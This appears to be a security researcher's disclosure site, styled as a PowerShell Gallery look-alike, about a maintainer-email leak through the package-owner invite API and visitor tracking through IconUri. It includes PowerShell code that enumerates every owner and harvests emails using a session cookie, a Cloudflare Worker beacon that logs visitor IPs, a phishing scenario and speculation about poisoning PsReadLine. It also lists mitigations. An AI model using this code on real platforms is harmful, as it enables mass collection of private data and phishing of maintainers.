Welcome to the PowerShell Gallery*

The central repository for sharing and acquiring PowerShell code including modules, scripts, and DSC resources.
*This page is a look-alike demo for a responsible security disclosure.

14,445
Unique Packages
25,791,948,740
Total package downloads
512,107
Total packages

Out of Scope ≠ Low Impact

In early 2025, I reported a serious weakness in the PowerShell Gallery to Microsoft’s MSRC team. With a single authenticated account, I was able to enumerate every maintainer’s private email address and silently collect visitor metadata (IP, ASN, location, user-agent, TLS) through the IconUri field. This wasn’t a handful of people.. it was complete coverage of the Gallery’s 14,000+ packages and half a million uploads.

My report was acknowledged, but ultimately ruled “out of scope.” That meant no bounty, no credit, and no fixes beyond the immediate patches. But the potential impact was staggering.

What I Could Have Done

Let’s talk specifics. With the email of every maintainer, I could have run a phishing campaign more credible than the one that just compromised npm where attackers hijacked only a subset of accounts and still managed to poison packages downloaded 2 billion times per week. That incident is already being measured in millions of dollars in downstream security costs and incident response.

On the PowerShell side, one target stands out: PsReadLine. This module ships by default on every Windows 11 system. If I had hijacked its ownership and injected malicious updates, the impact would have been planetary. Think about it: every new Windows installation, every developer, every IT admin pulling tainted code automatically.

What kind of payloads could fit into such a supply-chain compromise? A few examples:

For context, if npm’s breach cost millions by hitting only a portion of their ecosystem, imagine the bill Microsoft would face if every Windows 11 machine silently pulled and ran hostile PowerShell code. We’re not talking about millions anymore.. we’re talking billions in damage, class-action lawsuits, and trust erosion in the core operating system itself.

Why This Site Exists

Instead of weaponizing this, I chose to disclose it responsibly. I even registered this domain powershellgallery.dev to prevent it from being used against Microsoft. If I were malicious, I could have sent perfectly credible phishing emails from this very domain, addressed by name to every maintainer, personalized with their IP, location, and browser details.

This site demonstrates what those emails could have looked like and why dismissing this issue as “out of scope” was a dangerous mistake. For a deeper technical walkthrough including the attack chain and code, see my blog write-up: powershellforhackers.com: PowerShell Gallery PII Leak .

What a Phish Could Have Looked Like

Here’s a reconstructed example using the exact data I was able to collect (sanitized for safety). Notice how convincing this looks when it arrives from support@powershellgallery.dev.

⚠️ Demo only. All data shown is fabricated or sanitized. No real accounts were targeted.

Estimated Direct Cost to Microsoft (If the Gallery Had Been Compromised)

Contained (Gallery-only) 0.0M
Serious (flagship hit) 0.0M
Bad day (multi-module) 0.0M
Azure flagship (Az.Accounts) 0.0M

Bars animate to midpoints (in USD millions). Ranges shown via tooltips (hover/tap). Animation triggers on scroll and respects “reduced motion”.

Packages ▸ PsGalleryLeak

PsGalleryLeak 1.0.0

Demonstration of “Out-of-Scope ≠ Low Impact” in a gallery ecosystem.

Owners: IAmJakoby

Copy and Paste the following command to install this package using PowerShellGet

Install-Module -Name PsGalleryLeak # (demo only)

Demo UI button disabled by design.

Install with PSResourceGet (mock):

Install-PSResource -Name PsGalleryLeak # (demo only)

Manual download (mock): This is a demo site; no binaries are served.

TL;DR

  • Email Enumeration (platform-wide): An authenticated user could POST to the co-owner invite API and the JSON returned the maintainer’s private email. With simple automation, this yielded every single contributor email across the Gallery.
  • OOB Beacons via IconUri: Module manifests allowed remote IconUri resources. Serving an image from a controlled endpoint passively logged IP, UA, referrer, ASN, TLS, etc. Stale icon domains could be re-registered to inherit traffic from popular packages.

Why this matters (scale)

Those homepage stats aren’t marketing fluff they’re an impact surface. If an attacker can target all maintainers with convincing phishing and refine timing with OOB telemetry, the blast radius could dwarf many incidents.

In the npm breach, attackers phished “some” maintainers. Here, the data path exposed every single maintainer email a turnkey mailing list for a mass, credible phish.

Issue #1 Platform-Wide Email Enumeration (Invite Flow)

Sanitized PoC for defender awareness.

Owner Enumeration (PowerShell)

function Get-PsgOwners {
    function Get-SingleOwner ([string]$ModuleName) {
        $url  = "https://www.powershellgallery.com/packages/$ModuleName"
        $html = (Invoke-WebRequest -Uri $url -UseBasicParsing).Content
        if ($html -match '(?s)<ul class="list-unstyled owner-list">.*?title="([^"]+)"') {
            return $Matches[1]
        }
    }
    Find-Module * -Repository 'PSGallery' |
        ForEach-Object { Get-SingleOwner $_.Name } |
        Sort-Object -Unique
}
          
Token Collection + Invite POST (PowerShell)

function Get-PsgOwnerEmails {
    param([string[]]$Owners,[string]$PackageName,[string]$LocalUserToken)
    $base='https://www.powershellgallery.com'
    $session=New-Object Microsoft.PowerShell.Commands.WebRequestSession
    $session.Cookies.Add((New-Object System.Net.Cookie('.AspNet.LocalUser',$LocalUserToken,'/','www.powershellgallery.com')))
    $resp=Invoke-WebRequest -Uri "$base/account/apikeys" -WebSession $session -UseBasicParsing
    $token=[regex]::Match($resp.Content,'name="__RequestVerificationToken"\s+type="hidden"\s+value="([^"]+)"',[Text.RegularExpressions.RegexOptions]::Singleline).Groups[1].Value
    foreach($owner in $Owners){
        $body=@{username=$owner;id=$PackageName;message='';__RequestVerificationToken=$token}
        $addResp=Invoke-WebRequest -Uri "$base/json/AddPackageOwner" -Method POST -WebSession $session -ContentType 'application/x-www-form-urlencoded; charset=UTF-8' -Body $body -UseBasicParsing
        $email=($addResp.Content | ConvertFrom-Json).model.emailaddress
        [PSCustomObject]@{Owner=$owner;EmailAddress='[redacted]@example.com'}
    }
}
          

Issue #2 OOB Callbacks via IconUri (plus stale domain takeover)

When a module/profile page rendered an external icon URL, the browser fetched the resource and leaked request metadata to the controlled endpoint. Returning a valid image kept pages looking normal.

Manifest Snippet (sanitized)

@{
  RootModule    = 'Module.psm1'
  ModuleVersion = '0.0.1'
  IconUri       = 'https://example.workers.dev/icon?pkg=[redacted]'
}
          
Minimal Cloudflare Worker (logs + 1×1 PNG)

export default {
  async fetch(request) {
    const info = {
      event: 'OOB Trigger',
      time: new Date().toISOString(),
      method: request.method,
      url: request.url,
      ip: request.headers.get('cf-connecting-ip'),
      userAgent: request.headers.get('user-agent'),
      referer: request.headers.get('referer'),
      cf: request.cf
    };
    console.log(JSON.stringify(info));
    const png = Uint8Array.from(atob('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMB/ee8H+EAAAAASUVORK5CYII='), c => c.charCodeAt(0));
    return new Response(png, { headers: {'content-type':'image/png','cache-control':'no-store'} });
  }
};
          

“This is how npm attackers gained access…” and why this Gallery bug was worse

npm breach (2025)

Phishing emails tricked a subset of maintainers; compromised accounts pushed malicious versions. Big impact, but the attacker had to find and phish enough people.

PowerShell Gallery angle (your finding)

  • Complete maintainer email list via invite-flow JSON leak.
  • Highly credible phish (you own powershellgallery.dev).
  • Refinement & timing via IconUri OOB telemetry.

Result: a turnkey path to mass compromise ethically reported and never exploited.

Mitigations for Platform Owners

  • Remove private email from invite API responses; send mail server-side using opaque IDs.
  • Rate-limit invites; quotas per IP/tenant; CAPTCHA & anomaly detection.
  • Proxy icons through the gallery CDN; validate at publish + recurring health checks; quarantine broken IconUri.
  • Strict CSP & Referrer-Policy; block private IP ranges; force HTTPS.

Mitigations for Defenders

  • Pin versions; prefer signed modules; allowlists + hash verification.
  • Warn on external metadata fetches (icons, project URLs) during install.
  • Monitor ownership-invite spikes; educate maintainers on phishing.
  • Constrain egress from CI/bots that render external assets.

Ethics, Disclosure, and Recognition

Every screenshot and log here is sanitized. No private data is being exposed. This project exists solely to highlight the risks I responsibly reported months before the npm breach made global headlines.

Microsoft’s MSRC team acknowledged my findings, but ultimately ruled them “out of scope.” That decision meant no bounty, no credit, and no public recognition. Despite the fact that this path exposed every maintainer email and enabled OOB telemetry via IconUri.

Right now, the npm compromise is being called the largest supply-chain attack in history. The PowerShell Gallery exposure I reported offered a wider targeting surface: a turnkey list of all maintainers, realistic phishing from a trusted domain, and the opportunity to hit core modules (like PsReadLine) that live on every Windows 11 device.

What’s at stake: a gallery-level compromise like this would likely have cost Microsoft tens of millions directly (≈ $10–$60M, and $35–$85M in an Azure-auth worst case). Across customers and the broader ecosystem, the triage/remediation bill plausibly reaches the hundreds of millions and, in stress cases, creeps into the billions in dollars and in lost trust.

I believe Microsoft should reconsider bounty scope for supply-chain risks. Ethical reporting like this deserves recognition and compensation; not dismissal. Incentivizing researchers to keep bringing these issues forward is how we fix them before attackers do.

© unit 259 — I am Jakoby • This site is an educational demo and not affiliated with Microsoft.